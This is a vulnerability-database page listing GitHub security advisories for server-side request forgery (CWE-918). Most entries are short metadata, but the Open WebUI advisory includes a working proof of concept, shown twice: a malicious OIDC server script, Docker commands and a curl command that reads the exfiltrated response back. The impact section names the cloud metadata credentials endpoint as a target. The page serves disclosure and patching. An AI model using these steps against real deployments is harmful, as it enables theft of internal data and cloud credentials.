CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
4848 vulnerabilities reference this CWE, most recent first.
GHSA-249Q-VRHP-J59W
Vulnerability from github – Published: 2026-04-08 03:32 – Updated: 2026-04-08 03:32IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 allows an attacker to contact internal authentication endpoints which are protected by the Reverse Proxy.
{
"affected": [],
"aliases": [
"CVE-2026-1343"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T01:16:40Z",
"severity": "HIGH"
},
"details": "IBM Verify Identity Access Container 11.0 through 11.0.2 and IBM Security Verify Access Container 10.0 through 10.0.9.1 and IBM Verify Identity Access 11.0 through 11.0.2 and IBM Security Verify Access 10.0 through 10.0.9.1 allows an attacker to contact internal authentication endpoints which are protected by the Reverse Proxy.",
"id": "GHSA-249q-vrhp-j59w",
"modified": "2026-04-08T03:32:13Z",
"published": "2026-04-08T03:32:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1343"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7268253"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-24C9-2M8Q-QHMH
Vulnerability from github – Published: 2026-05-14 20:19 – Updated: 2026-05-19 15:59Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in _process_picture_url() in backend/open_webui/utils/oauth.py (line ~1338). The function fetches arbitrary URLs from OAuth picture claims without applying validate_url(), allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.
Vulnerable Code
# backend/open_webui/utils/oauth.py, line ~1337-1345
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
# No validate_url() call here
async with aiohttp.ClientSession(trust_env=True) as session:
async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:
if resp.ok:
picture = await resp.read()
base64_encoded_picture = base64.b64encode(picture).decode('utf-8')
return f'data:{guessed_mime_type};base64,{base64_encoded_picture}'
The codebase already uses validate_url() for the same SSRF protection pattern in other paths:
- backend/open_webui/utils/files.py:38 - validate_url(url) before requests.get(url)
- backend/open_webui/routers/images.py:800 - validate_url(data) before requests.get(data)
The omission in _process_picture_url() is inconsistent with the project's own security practices.
Affected Code Paths
- New user OAuth signup (line ~1556):
picture_url = await self._process_picture_url(picture_url, token.get('access_token')) - Existing user picture update on login (line ~1536): when
OAUTH_UPDATE_PICTURE_ON_LOGIN=true
Steps to Reproduce
Prerequisites
- Open WebUI instance with generic OIDC OAuth configured
ENABLE_OAUTH_SIGNUP=true
Setup
1. Start a minimal OIDC server that returns a malicious picture claim pointing to an internal canary endpoint:
"""Minimal OIDC PoC server - save as poc_oidc.py"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, urllib.parse
SSRF_TARGET = "http://host.docker.internal:9000/canary"
CANARY = "SSRF_CONFIRMED_OPEN_WEBUI"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
path = urllib.parse.urlparse(self.path).path
query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)
if path == "/.well-known/openid-configuration":
self._json({"issuer":"http://host.docker.internal:9000",
"authorization_endpoint":"http://localhost:9000/authorize",
"token_endpoint":"http://host.docker.internal:9000/token",
"userinfo_endpoint":"http://host.docker.internal:9000/userinfo",
"jwks_uri":"http://host.docker.internal:9000/jwks",
"response_types_supported":["code"],"subject_types_supported":["public"],
"id_token_signing_alg_values_supported":["RS256"],
"token_endpoint_auth_methods_supported":["client_secret_post","client_secret_basic"]})
elif path == "/authorize":
ru = query.get("redirect_uri",[""])[0]
st = query.get("state",[""])[0]
self.send_response(302)
self.send_header("Location", f"{ru}?code=poc-code&state={st}")
self.end_headers()
elif path == "/userinfo":
self._json({"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET})
elif path == "/jwks":
self._json({"keys":[]})
elif path == "/canary":
self.send_response(200)
self.send_header("Content-Type","text/plain")
body = CANARY.encode()
self.send_header("Content-Length",len(body))
self.end_headers()
self.wfile.write(body)
print(f"!!! CANARY FETCHED - SSRF CONFIRMED !!!")
else:
self.send_response(404); self.end_headers()
def do_POST(self):
if "/token" in self.path:
self._json({"access_token":"tok","token_type":"bearer","expires_in":3600,
"userinfo":{"sub":"attacker","email":"attacker@example.com","name":"Attacker","picture":SSRF_TARGET}})
def _json(self, d):
b = json.dumps(d).encode()
self.send_response(200)
self.send_header("Content-Type","application/json")
self.send_header("Content-Length",len(b))
self.end_headers()
self.wfile.write(b)
HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()
2. Run the PoC server:
python3 poc_oidc.py
3. Start Open WebUI with Docker:
docker run -d -p 3000:8080 \
--name owui-ssrf-test \
--add-host=host.docker.internal:host-gateway \
-e ENABLE_OAUTH_SIGNUP=true \
-e WEBUI_AUTH=true \
-e OAUTH_CLIENT_ID=test-client \
-e OAUTH_CLIENT_SECRET=test-secret \
-e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \
-e OAUTH_PROVIDER_NAME=TestOIDC \
-e "OAUTH_SCOPES=openid email profile" \
ghcr.io/open-webui/open-webui:main
4. Create an admin account at http://localhost:3000, then sign out.
5. Click "Continue with TestOIDC" on the login page.
6. Observe the PoC server terminal - it prints !!! CANARY FETCHED - SSRF CONFIRMED !!!
7. Verify exfiltrated data is stored and readable:
curl -s http://localhost:3000/api/v1/auths/ \
-H "Authorization: Bearer <session-token>" | python3 -c "
import sys, json, base64
data = json.load(sys.stdin)
url = data.get('profile_image_url', '')
if 'base64,' in url:
decoded = base64.b64decode(url.split('base64,',1)[1]).decode()
print(f'DECODED: {decoded}')
"
Result: DECODED: SSRF_CONFIRMED_OPEN_WEBUI
The server fetched the attacker-controlled URL, base64-encoded the response, stored it as profile_image_url, and the attacker can read it back via the API.
Impact
An attacker can force the Open WebUI server to make HTTP requests to:
- Cloud metadata endpoints (AWS IMDSv1 at
http://169.254.169.254/latest/meta-data/iam/security-credentials/) to steal IAM credentials - Internal network services not exposed to the internet
- Localhost-bound services (Redis, Elasticsearch, internal APIs)
This is a full-read SSRF: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded profile_image_url field.
Configuration Note
This vulnerability requires ENABLE_OAUTH_SIGNUP=true (for the new-user path) or OAUTH_UPDATE_PICTURE_ON_LOGIN=true (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.
Suggested Fix
Apply validate_url() before fetching, consistent with existing patterns in the codebase:
from open_webui.retrieval.web.utils import validate_url
async def _process_picture_url(self, picture_url: str, access_token: str = None) -> str:
if not picture_url:
return '/user.png'
try:
validate_url(picture_url) # Add this line
# ... rest unchanged
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.8.12"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45338"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:19:56Z",
"nvd_published_at": "2026-05-15T22:16:54Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `_process_picture_url()` in `backend/open_webui/utils/oauth.py` (line ~1338). The function fetches arbitrary URLs from OAuth `picture` claims without applying `validate_url()`, allowing an attacker to force the server to make HTTP requests to internal resources and exfiltrate the full response.\n\n## Vulnerable Code\n```python\n# backend/open_webui/utils/oauth.py, line ~1337-1345\nasync def _process_picture_url(self, picture_url: str, access_token: str = None) -\u003e str:\n # No validate_url() call here\n async with aiohttp.ClientSession(trust_env=True) as session:\n async with session.get(picture_url, **get_kwargs, ssl=AIOHTTP_CLIENT_SESSION_SSL) as resp:\n if resp.ok:\n picture = await resp.read()\n base64_encoded_picture = base64.b64encode(picture).decode(\u0027utf-8\u0027)\n return f\u0027data:{guessed_mime_type};base64,{base64_encoded_picture}\u0027\n```\n\nThe codebase already uses `validate_url()` for the same SSRF protection pattern in other paths:\n- `backend/open_webui/utils/files.py:38` - `validate_url(url)` before `requests.get(url)`\n- `backend/open_webui/routers/images.py:800` - `validate_url(data)` before `requests.get(data)`\n\nThe omission in `_process_picture_url()` is inconsistent with the project\u0027s own security practices.\n\n## Affected Code Paths\n\n1. **New user OAuth signup** (line ~1556): `picture_url = await self._process_picture_url(picture_url, token.get(\u0027access_token\u0027))`\n2. **Existing user picture update on login** (line ~1536): when `OAUTH_UPDATE_PICTURE_ON_LOGIN=true`\n\n## Steps to Reproduce\n\n### Prerequisites\n- Open WebUI instance with generic OIDC OAuth configured\n- `ENABLE_OAUTH_SIGNUP=true`\n\n### Setup\n\n**1. Start a minimal OIDC server** that returns a malicious `picture` claim pointing to an internal canary endpoint:\n```python\n\"\"\"Minimal OIDC PoC server - save as poc_oidc.py\"\"\"\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\nimport json, urllib.parse\n\nSSRF_TARGET = \"http://host.docker.internal:9000/canary\"\nCANARY = \"SSRF_CONFIRMED_OPEN_WEBUI\"\n\nclass Handler(BaseHTTPRequestHandler):\n def do_GET(self):\n path = urllib.parse.urlparse(self.path).path\n query = urllib.parse.parse_qs(urllib.parse.urlparse(self.path).query)\n if path == \"/.well-known/openid-configuration\":\n self._json({\"issuer\":\"http://host.docker.internal:9000\",\n \"authorization_endpoint\":\"http://localhost:9000/authorize\",\n \"token_endpoint\":\"http://host.docker.internal:9000/token\",\n \"userinfo_endpoint\":\"http://host.docker.internal:9000/userinfo\",\n \"jwks_uri\":\"http://host.docker.internal:9000/jwks\",\n \"response_types_supported\":[\"code\"],\"subject_types_supported\":[\"public\"],\n \"id_token_signing_alg_values_supported\":[\"RS256\"],\n \"token_endpoint_auth_methods_supported\":[\"client_secret_post\",\"client_secret_basic\"]})\n elif path == \"/authorize\":\n ru = query.get(\"redirect_uri\",[\"\"])[0]\n st = query.get(\"state\",[\"\"])[0]\n self.send_response(302)\n self.send_header(\"Location\", f\"{ru}?code=poc-code\u0026state={st}\")\n self.end_headers()\n elif path == \"/userinfo\":\n self._json({\"sub\":\"attacker\",\"email\":\"attacker@example.com\",\"name\":\"Attacker\",\"picture\":SSRF_TARGET})\n elif path == \"/jwks\":\n self._json({\"keys\":[]})\n elif path == \"/canary\":\n self.send_response(200)\n self.send_header(\"Content-Type\",\"text/plain\")\n body = CANARY.encode()\n self.send_header(\"Content-Length\",len(body))\n self.end_headers()\n self.wfile.write(body)\n print(f\"!!! CANARY FETCHED - SSRF CONFIRMED !!!\")\n else:\n self.send_response(404); self.end_headers()\n def do_POST(self):\n if \"/token\" in self.path:\n self._json({\"access_token\":\"tok\",\"token_type\":\"bearer\",\"expires_in\":3600,\n \"userinfo\":{\"sub\":\"attacker\",\"email\":\"attacker@example.com\",\"name\":\"Attacker\",\"picture\":SSRF_TARGET}})\n def _json(self, d):\n b = json.dumps(d).encode()\n self.send_response(200)\n self.send_header(\"Content-Type\",\"application/json\")\n self.send_header(\"Content-Length\",len(b))\n self.end_headers()\n self.wfile.write(b)\n\nHTTPServer((\"0.0.0.0\", 9000), Handler).serve_forever()\n```\n\n**2. Run the PoC server:**\n```bash\npython3 poc_oidc.py\n```\n\n**3. Start Open WebUI with Docker:**\n```bash\ndocker run -d -p 3000:8080 \\\n --name owui-ssrf-test \\\n --add-host=host.docker.internal:host-gateway \\\n -e ENABLE_OAUTH_SIGNUP=true \\\n -e WEBUI_AUTH=true \\\n -e OAUTH_CLIENT_ID=test-client \\\n -e OAUTH_CLIENT_SECRET=test-secret \\\n -e OPENID_PROVIDER_URL=http://host.docker.internal:9000/.well-known/openid-configuration \\\n -e OAUTH_PROVIDER_NAME=TestOIDC \\\n -e \"OAUTH_SCOPES=openid email profile\" \\\n ghcr.io/open-webui/open-webui:main\n```\n\n**4. Create an admin account** at `http://localhost:3000`, then sign out.\n\n**5. Click \"Continue with TestOIDC\"** on the login page.\n\n**6. Observe the PoC server terminal** - it prints `!!! CANARY FETCHED - SSRF CONFIRMED !!!`\n\n**7. Verify exfiltrated data is stored and readable:**\n```bash\ncurl -s http://localhost:3000/api/v1/auths/ \\\n -H \"Authorization: Bearer \u003csession-token\u003e\" | python3 -c \"\nimport sys, json, base64\ndata = json.load(sys.stdin)\nurl = data.get(\u0027profile_image_url\u0027, \u0027\u0027)\nif \u0027base64,\u0027 in url:\n decoded = base64.b64decode(url.split(\u0027base64,\u0027,1)[1]).decode()\n print(f\u0027DECODED: {decoded}\u0027)\n\"\n```\n\n**Result:** `DECODED: SSRF_CONFIRMED_OPEN_WEBUI`\n\nThe server fetched the attacker-controlled URL, base64-encoded the response, stored it as `profile_image_url`, and the attacker can read it back via the API.\n\n## Impact\n\nAn attacker can force the Open WebUI server to make HTTP requests to:\n\n- **Cloud metadata endpoints** (AWS IMDSv1 at `http://169.254.169.254/latest/meta-data/iam/security-credentials/`) to steal IAM credentials\n- **Internal network services** not exposed to the internet\n- **Localhost-bound services** (Redis, Elasticsearch, internal APIs)\n\nThis is a **full-read SSRF**: the complete HTTP response body is exfiltrated to the attacker via the base64-encoded `profile_image_url` field.\n\n## Configuration Note\n\nThis vulnerability requires `ENABLE_OAUTH_SIGNUP=true` (for the new-user path) or `OAUTH_UPDATE_PICTURE_ON_LOGIN=true` (for the existing-user path). While these are not default settings, they are standard in production deployments that use OAuth for user management, which is the primary use case for configuring OAuth at all.\n\n## Suggested Fix\n\nApply `validate_url()` before fetching, consistent with existing patterns in the codebase:\n```python\nfrom open_webui.retrieval.web.utils import validate_url\n\nasync def _process_picture_url(self, picture_url: str, access_token: str = None) -\u003e str:\n if not picture_url:\n return \u0027/user.png\u0027\n try:\n validate_url(picture_url) # Add this line\n # ... rest unchanged\n```",
"id": "GHSA-24c9-2m8q-qhmh",
"modified": "2026-05-19T15:59:13Z",
"published": "2026-05-14T20:19:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-24c9-2m8q-qhmh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45338"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI Vulnerable to SSRF via OAuth Profile Picture URL in _process_picture_url (oauth.py)"
}
GHSA-24CF-848G-762C
Vulnerability from github – Published: 2025-03-29 00:31 – Updated: 2025-04-01 14:20shopxo v6.4.0 has a ssrf/xss vulnerability in multiple places.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "shopxo/shopxo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "6.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-28094"
],
"database_specific": {
"cwe_ids": [
"CWE-79",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-04-01T14:20:27Z",
"nvd_published_at": "2025-03-28T22:15:18Z",
"severity": "MODERATE"
},
"details": "shopxo v6.4.0 has a ssrf/xss vulnerability in multiple places.",
"id": "GHSA-24cf-848g-762c",
"modified": "2025-04-01T14:20:27Z",
"published": "2025-03-29T00:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-28094"
},
{
"type": "PACKAGE",
"url": "https://github.com/gongfuxiang/shopxo"
},
{
"type": "WEB",
"url": "https://www.yuque.com/morysummer/vx41bz/echzollcdlmllgqo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "ShopXO Vulnerable to Server-Side Request Forgery (SSRF) and Cross-Site Scripting (XSS)"
}
GHSA-24J3-W3XQ-4R3W
Vulnerability from github – Published: 2025-04-18 00:30 – Updated: 2025-04-23 15:30An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Add Mycode function.
{
"affected": [],
"aliases": [
"CVE-2025-29460"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-17T22:15:15Z",
"severity": "HIGH"
},
"details": "An issue in MyBB 1.8.38 allows a remote attacker to obtain sensitive information via the Add Mycode function.",
"id": "GHSA-24j3-w3xq-4r3w",
"modified": "2025-04-23T15:30:47Z",
"published": "2025-04-18T00:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-29460"
},
{
"type": "WEB",
"url": "https://docs.mybb.com/1.8/administration/security/protection/#limit-access-to-private-hosts-and-ip-addresses"
},
{
"type": "WEB",
"url": "https://www.yuque.com/morysummer/vx41bz/fgg059stiog457ch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-24P8-C5JG-969R
Vulnerability from github – Published: 2026-07-02 12:31 – Updated: 2026-07-02 12:31Subscriber Server Side Request Forgery (SSRF) in GeoDirectory <= 2.8.161 versions.
{
"affected": [],
"aliases": [
"CVE-2026-57681"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-02T12:17:38Z",
"severity": "MODERATE"
},
"details": "Subscriber Server Side Request Forgery (SSRF) in GeoDirectory \u003c= 2.8.161 versions.",
"id": "GHSA-24p8-c5jg-969r",
"modified": "2026-07-02T12:31:01Z",
"published": "2026-07-02T12:31:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57681"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/geodirectory/vulnerability/wordpress-geodirectory-plugin-2-8-161-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-24QQ-7528-P6PC
Vulnerability from github – Published: 2026-04-01 18:36 – Updated: 2026-04-01 18:36A vulnerability in Cisco Nexus Dashboard and Cisco Nexus Dashboard Insights could allow an unauthenticated, remote attacker to conduct a server-side request forgery (SSRF) attack through an affected device.
This vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by persuading an authenticated user of the device management interface to click a crafted link. A successful exploit could allow the attacker to send arbitrary network requests that are sourced from the affected device to an attacker-controlled server. The attacker could then execute arbitrary script code in the context of the affected interface or access sensitive browser-based information.
{
"affected": [],
"aliases": [
"CVE-2026-20041"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-01T17:28:25Z",
"severity": "MODERATE"
},
"details": "A vulnerability in Cisco Nexus Dashboard and Cisco Nexus Dashboard Insights could allow an unauthenticated, remote attacker to conduct a server-side request forgery (SSRF) attack through an affected device.\n\nThis vulnerability is due to improper input validation for specific HTTP requests. An attacker could exploit this vulnerability by persuading an authenticated user of the device management interface to click a crafted link. A successful exploit could allow the attacker to send arbitrary network requests that are sourced from the affected device to an attacker-controlled server. The attacker could then execute arbitrary script code in the context of the affected interface or access sensitive browser-based information.",
"id": "GHSA-24qq-7528-p6pc",
"modified": "2026-04-01T18:36:37Z",
"published": "2026-04-01T18:36:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20041"
},
{
"type": "WEB",
"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nd-ssrf-NAen4O7r"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-25Q3-MC3P-85JX
Vulnerability from github – Published: 2024-08-15 18:31 – Updated: 2024-08-19 21:35XML External Entity (XXE) vulnerability in Terminalfour 8.0.0001 through 8.3.18 and XML JDBC versions up to 1.0.4 allows authenticated users to submit malicious XML via unspecified features which could lead to various actions such as accessing the underlying server, remote code execution (RCE), or performing Server-Side Request Forgery (SSRF) attacks.
{
"affected": [],
"aliases": [
"CVE-2024-22219"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-15T18:15:19Z",
"severity": "MODERATE"
},
"details": "XML External Entity (XXE) vulnerability in Terminalfour 8.0.0001 through 8.3.18 and XML JDBC versions up to 1.0.4 allows authenticated users to submit malicious XML via unspecified features which could lead to various actions such as accessing the underlying server, remote code execution (RCE), or performing Server-Side Request Forgery (SSRF) attacks.",
"id": "GHSA-25q3-mc3p-85jx",
"modified": "2024-08-19T21:35:08Z",
"published": "2024-08-15T18:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22219"
},
{
"type": "WEB",
"url": "https://docs.terminalfour.com/articles/release-notes-highlights"
},
{
"type": "WEB",
"url": "https://docs.terminalfour.com/release-notes/security-notices/cve-2024-22218--cve-2024-22219"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-25QV-RF35-39R8
Vulnerability from github – Published: 2022-05-24 17:45 – Updated: 2022-05-24 17:45spxmanage on certain SpinetiX devices allows requests that access unintended resources because of SSRF and Path Traversal. This affects HMP350, HMP300, and DiVA through 4.5.2-1.0.36229; HMP400 and HMP400W through 4.5.2-1.0.2-1eb2ffbd; and DSOS through 4.5.2-1.0.2-1eb2ffbd.
{
"affected": [],
"aliases": [
"CVE-2020-15809"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-24T17:15:00Z",
"severity": "MODERATE"
},
"details": "spxmanage on certain SpinetiX devices allows requests that access unintended resources because of SSRF and Path Traversal. This affects HMP350, HMP300, and DiVA through 4.5.2-1.0.36229; HMP400 and HMP400W through 4.5.2-1.0.2-1eb2ffbd; and DSOS through 4.5.2-1.0.2-1eb2ffbd.",
"id": "GHSA-25qv-rf35-39r8",
"modified": "2022-05-24T17:45:10Z",
"published": "2022-05-24T17:45:10Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-15809"
},
{
"type": "WEB",
"url": "https://support.spinetix.com/wiki/DSOS_release_notes"
},
{
"type": "WEB",
"url": "https://support.spinetix.com/wiki/SpinetiX-SA-20:01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-25W3-8F4H-3QH6
Vulnerability from github – Published: 2026-03-17 00:31 – Updated: 2026-03-17 00:31A vulnerability was determined in taoofagi easegen-admin up to 8f87936ac774065b92fb20aab55b274a6ea76433. This issue affects the function downloadFile of the file - yudao-module-digitalcourse/yudao-module-digitalcourse-biz/src/main/java/cn/iocoder/yudao/module/digitalcourse/util/PPTUtil.java of the component PPT File Handler. This manipulation of the argument url causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.
{
"affected": [],
"aliases": [
"CVE-2026-4284"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T23:16:21Z",
"severity": "MODERATE"
},
"details": "A vulnerability was determined in taoofagi easegen-admin up to 8f87936ac774065b92fb20aab55b274a6ea76433. This issue affects the function downloadFile of the file - yudao-module-digitalcourse/yudao-module-digitalcourse-biz/src/main/java/cn/iocoder/yudao/module/digitalcourse/util/PPTUtil.java of the component PPT File Handler. This manipulation of the argument url causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized. This product is using a rolling release to provide continious delivery. Therefore, no version details for affected nor updated releases are available. The vendor was contacted early about this disclosure but did not respond in any way.",
"id": "GHSA-25w3-8f4h-3qh6",
"modified": "2026-03-17T00:31:34Z",
"published": "2026-03-17T00:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4284"
},
{
"type": "WEB",
"url": "https://fx4tqqfvdw4.feishu.cn/docx/XF5WdvWAEoU9jyx2C2mcImSMnBg?from=from_copylink"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.351290"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.351290"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.771949"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-2647-C639-QV2J
Vulnerability from github – Published: 2022-03-08 00:00 – Updated: 2022-03-18 21:20calibreweb prior to version 0.6.17 is vulnerable to server-side request forgery (SSRF). This is due to an incomplete fix for CVE-2022-0339. The blacklist does not check for 0.0.0.0, which would result in a payload of 0.0.0.0 resolving to localhost.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "calibreweb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.17"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-0766"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-03-08T18:11:03Z",
"nvd_published_at": "2022-03-07T07:15:00Z",
"severity": "CRITICAL"
},
"details": "calibreweb prior to version 0.6.17 is vulnerable to server-side request forgery (SSRF). This is due to an incomplete fix for [CVE-2022-0339](https://github.com/advisories/GHSA-4w8p-x6g8-fv64). The blacklist does not check for `0.0.0.0`, which would result in a payload of `0.0.0.0` resolving to `localhost`.",
"id": "GHSA-2647-c639-qv2j",
"modified": "2022-03-18T21:20:46Z",
"published": "2022-03-08T00:00:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0766"
},
{
"type": "WEB",
"url": "https://github.com/janeczku/calibre-web/commit/965352c8d96c9eae7a6867ff76b0db137d04b0b8"
},
{
"type": "PACKAGE",
"url": "https://github.com/janeczku/calibre-web"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/7f2a5bb4-e6c7-4b6a-b8eb-face9e3add7b"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Server-Side Request Forgery in calibreweb"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.